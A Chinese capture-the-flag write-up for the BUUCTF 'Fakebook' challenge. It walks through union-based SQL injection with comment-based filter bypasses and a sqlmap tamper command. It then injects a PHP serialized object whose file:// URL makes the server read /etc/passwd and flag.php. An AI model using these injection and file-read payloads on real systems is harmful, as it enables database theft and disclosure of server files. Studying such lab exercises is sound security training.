BUUCTF——[网鼎杯 2018]Fakebook

BUUCTF——[网鼎杯 2018]Fakebook

1.测试SQl注入的注入点1'
在这里插入图片描述

2.尝试使用-- -进行闭合,但是不行
在这里插入图片描述
3.尝试使用数字型的SQL注入,使用--+进行注入后面的SQL语句

在这里插入图片描述

4.尝试使用and 1=1 判断其是否真的存在SQL注入

在这里插入图片描述

5.尝试使用and 1=2进行判断
在这里插入图片描述

6.发现这个地方确实存在SQL注入,接下来判断列名

?no=1 order by 4--+

在这里插入图片描述

7.再使用5判断其列名,报错啦,说明有4

?no=1 order by 5--+

在这里插入图片描述

8.判断回显的位置

?no=-1 union select 1,2,3,4--+

在这里插入图片描述

9.发现存在过滤,尝试使用内联注入(/**/)进行绕过

?no=-1/**/union/**/select/**/1,2,3,4--+

在这里插入图片描述

10.发现回显位在2上,爆破数据库库名

?no=-1/**/union/**/select/**/1,database(),3,4--+

在这里插入图片描述

11.数据库名为fakebook,接下来爆破数据表名,尝试第一张表

?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/0,1),3,4--+

在这里插入图片描述

12.数据库名为fakebook,接下来爆破数据表名,尝试第二张表

?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/1,1),3,4--+

在这里插入图片描述

13.发现只有一张表,爆破users表的字段名

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'),3,4--+

在这里插入图片描述

14.本来想直接爆破出所有的字段名的,但是只能回显一列,只能使用limit一行一行的爆破

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/0,1),3,4--+

在这里插入图片描述

15.第一个字段为no,接着爆破第二个字段

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/1,1),3,4--+

在这里插入图片描述

16.第二个字段为username,接着爆破第三个字段

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/2,1),3,4--+

在这里插入图片描述

17.第三个字段为passwd,接着爆破第四个字段

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/3,1),3,4--+

在这里插入图片描述
18.第四个字段为data,接着爆破第五个字段

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/4,1),3,4--+

在这里插入图片描述

19.当爆破到第五个字段的时候,没有回显,书名总的就是四个属性,也就是四个字段,四列,分别是no,username,passwd,data

20.爆破第一个字段内容

?no=-1/**/union/**/select/**/1,(select(no)/**/from/**/table_name='fakebook.users'/**/limit/**/0,1),3,4--+?no=-1/**/union/**/select/**/1,(select/**/no/**/from/**/fakebook.users/**/limit/**/0,1),3,4--+

space2comment.py脚本代码如下,可以将空格替换为//注释符**

Python sqlmap.py -u "http://944c5a3d-4ec2-4cd3-b669-5354d0d6d7e9.node5.buuoj.cn:81/view.php?no=1" --random-agent --temper=space2comment.py --dbs --batch

在这里插入图片描述

在这里插入图片描述

21.使用sqlmap还是不行,还得使用手注,继续爆破字段内容

?no=-1/**/union/**/select/**/1,(select/**/group_concat(no)/**/from/**/users),3,4--+

在这里插入图片描述

22.获取第一个字段no的内容为1,爆破第二个字段的内容
在这里插入图片描述

23.爆破第二个的内容为1,爆破密码内容为

4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a 

在这里插入图片描述

24.密码太奇怪啦,那么长,整一下data试试

?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+

在这里插入图片描述

25.这道题目太有意思啦,本来好好的SQL注入,搞着搞着就出来反序列化啦,这不得代码审计一波,但是源代码在哪里呢,直接手动测试一波robots.txt

在这里插入图片描述

26.下载源代码

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

在这里插入图片描述

在这里插入图片描述

27.通过阅读源代码,然后构造payload

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}}$test = new UserInfo("admin","18","file:///etc/passwd");
$test = serialize($test);
var_dump($test);

在这里插入图片描述

28.得到的结果为

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:18:"file:///etc/passwd";}

29.将得到的payload放到我们构造的SQL语句中进行插入

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:18:"file:///etc/passwd";}'--+

在这里插入图片描述
30.将得到回显数据,查看页面源代码
在这里插入图片描述

31.点击iframe标签中的src超链接,成功得到我们想要的数据
在这里插入图片描述

32.当然做完了之后,你可能会发现,如果在注入账户的时候,直接在blog里插入我们想读取的数据是什么时,我试过啦,不得行,还是做了限制的,这道题奥妙之处就在于这,通过sql注入的漏洞,构造反序列化payload,通过iframe标签获取flag,最后,我们的目的是读取flag,就直接构造

http://e5eaec3f-15e4-440e-8262-94bd93f0ee39.node5.buuoj.cn:81/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

在这里插入图片描述

33.查看页面源代码
在这里插入图片描述

34.点击页面即可得到flag

flag{4bbfc72d-f908-469f-aebe-ed5240dd5d6e}

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/2764.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习 | 使用Python开发多输出回归模型

多输出回归是监督机器学习的一种特殊形式&#xff0c;可以同时预测多个目标变量。虽然传统回归侧重于基于一组输入特征预测单个数值&#xff08;目标变量&#xff09;&#xff0c;但多输出回归扩展了这一概念&#xff0c;可以同时预测多个数值&#xff0c;这在各种现实世界的应…

JavaScript 模块导出示例

JavaScript 模块导出示例说明 在 JavaScript 中&#xff0c;我们可以通过 export 关键字将模块中的功能导出&#xff0c;以供其他模块使用。导出可以是单个默认值&#xff0c;也可以是多个命名值。本文将分别介绍导出单个值和导出多个值的示例说明。 导出单个值 当模块中只有…

【产研测类】线上问题处理机制

1 概述 本规范致力于优化运营与产研团队在线问题管理的效率与效果&#xff0c;全面覆盖生产问题的识别、处理机制、分类分级、责任归属和明确奖惩机制。同时&#xff0c;侧重资源重点解决主流程关联的核心模块生产问题。如此&#xff0c;确保各个环节责任到人&#xff0c;内…

Vue2、Vue3响应式原理和相关源码(持续更新~)

目录 一、vue2响应式原理 对应常规源码&#xff1f;&#xff1a; 数组有哪些不同&#xff1f;&#xff1a; 总结下&#xff0c;vue2有哪些缺陷&#xff1f; 在以往的经验中&#xff0c;我们主技术栈为vue的前端开发&#xff0c;在面试的时候被问到响应式原理的概率是非常大…

单细胞分析|整合 scRNA-seq 和 scATAC-seq 数据

引言 单细胞转录组学极大地提升了对细胞状态进行分类的能力&#xff0c;但要深入理解生物学现象&#xff0c;不能仅仅停留在对细胞群的简单列举上。随着新方法的不断涌现&#xff0c;用于测量细胞的不同状态&#xff0c;一个关键的挑战是如何将这些数据集整合起来&#xff0c;以…

24pht春3

pht春3 A 显然 f [ i ] [ j ] f[i][j] f[i][j] 表示前 i j ij ij 个&#xff0c;有 i i i 个用 a a a &#xff0c; j j j 个选 b b b 的方案数。然后显然。 不是&#xff0c;好像假了&#xff0c; k s ≠ n ks\neq n ksn 直接按 a a a 排序&#xff0c;那样子只要…

达梦数据库的DMRMAN工具-数据备份

达梦数据库的DMRMAN工具-数据备份 基础信息 OS版本&#xff1a; Red Hat Enterprise Linux Server release 7.9 (Maipo) DB版本&#xff1a; DM Database Server 64 V8 DB Version: 0x7000c 03134284132-20240115-215128-200811 备份数据库 1.1 设置备份选项 备份命令如果仅…

Spring三级缓存源码解析

Spring三级缓存 前置知识三级缓存定义SpringBean生命周期 Bean的初始化getSingleton 分析加入一级缓存 CreateBean过程(A)A填充属性BB填充属性A,执行getSingleton&#xff08;A&#xff09;B完成初始化 前置知识 三级缓存定义 public class DefaultSingletonBeanRegistry ext…

云打印为什么这么便宜?

随着云打印的火热发展&#xff0c;越来越多的用户开始选择云打印服务了。我们在之前的内容里也介绍过&#xff0c;现在的易绘创云打印服务A4低至5分钱/页。那么云打印为什么这么便宜呢&#xff1f;今天小易就带大家来了解一下。 云打印为什么这么便宜&#xff1f; 相信很多用户…

C#面:简述常用的集合类

List&#xff1a;List 是一个动态数组&#xff0c;可以根据需要自动调整大小。它提供了添加、删除、查找和排序等常见操作。例如&#xff0c;可以使用 List 来存储一组整数。Dictionary<TKey&#xff0c; TValue>:是一个键值对集合&#xff0c;其中每个键都是唯一的。它提…

Element-plus DatePicker 日期选择器【正则校验时间范围】

效果图&#xff1a; 利用element-plus中的form表单验证完成效果。 <el-form-item label"检查计划截止日期&#xff1a;" prop"deadline"><el-date-pickerv-model"form.deadline"value-format"YYYY-MM-DD"style"width: …

陇剑杯 省赛 攻击者3 CTF wireshark 流量分析

陇剑杯 省赛 攻击者3 CTF wireshark 流量分析 题目 链接&#xff1a;https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwdhaek 提取码&#xff1a;haek ├───LogAnalize │ ├───linux简单日志分析 │ │ linux-log_2.zip │ │ │ ├───misc日志…

压测步骤-uload

1.在群里申请进行性能测试 2.搭建环境&#xff0c;开始测试 3.关闭服务&#xff0c;停掉所有相关进程 4.在群里通知大家环境可用 在压测机器 &#xff08;2台&#xff09;A B 杀掉RECOMMEND进程 ps -ef|grep recommend|awk {print $2}|xargs kill -9 其中一台搭建RS测试环境 提…

NAT的知识点和实现

1.NAT的作用&#xff1a; &#xff08;1&#xff09;、把内网私网IP转换公网IP&#xff1b; &#xff08;2&#xff09;、隐藏内网&#xff0c;起到保护内网作用&#xff1b; &#xff08;3&#xff09;、适当的缓解的IPv4地址空间枯竭&#xff1b; &#xff08;4&#xff…

【数据分析面试】28.查找职工信息 (SQL文字处理/通配符查找)

题目 现在公司里有职工信息表Worker, HR需要你提供不同的职工信息&#xff0c;包括&#xff1a; 从 Worker 表中获取 “FIRST_NAME” 并以大写形式显示。从 Worker 表中获取 DEPARTMENT 的唯一值。查找 Worker 表中 FIRST_NAME 的前三个字符。查找 Worker 表中名为 ‘Amitabh…

值传递和地址传递

文章目录 目录值传递地址传递 目录 值传递 package com.zhang.parameter; //值传递 public class MethodDemo1 {public static void main(String[] args) {int a 10;System.out.println(a);System.out.println("~~~~~~~~~~~~~~~");change(a);//无论你传入的是什么 …

【Java, Git, React】Technical documentation 和 问题汇总解决

1. Technical documentation 1.1 Git 配置 git config --global user.name “名称” git config --global user.email “邮箱” git config --global http.sslVerify false git clone XXX 2. 问题汇总&#xff1a; 2.1 Permission Issue fatal: could not create work tree…

C脚本实现Wincc单按钮启动/停止

文章目录 前言实现步骤&#xff1a; 前言 在Wincc中实现单按钮启动/停止。即按一下&#xff0c;按钮关联的变量置位为1&#xff0c;再按一下&#xff0c;变量复位为0。 实现步骤&#xff1a; 在变量管理器新建变量"BF01_CP_HMI_SevName_Play"&#xff1b;添加一个按…

备战Java面试

一&#xff0e;JAVA基础 1.八个基本数据类型&#xff0c;长&#xff0c;占几个字节&#xff0c;取值范围是多少。 基本类型&#xff1a; Byte 一般的数据 1个字节 取值范围 -128—127 short 极大的数据 2个字节 取值范围 -2的15次方到2的15次方减一 int 4个字节…

JS绘制电流闪烁流动效果

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>电流闪动动效</title><style>.sd1 {dis…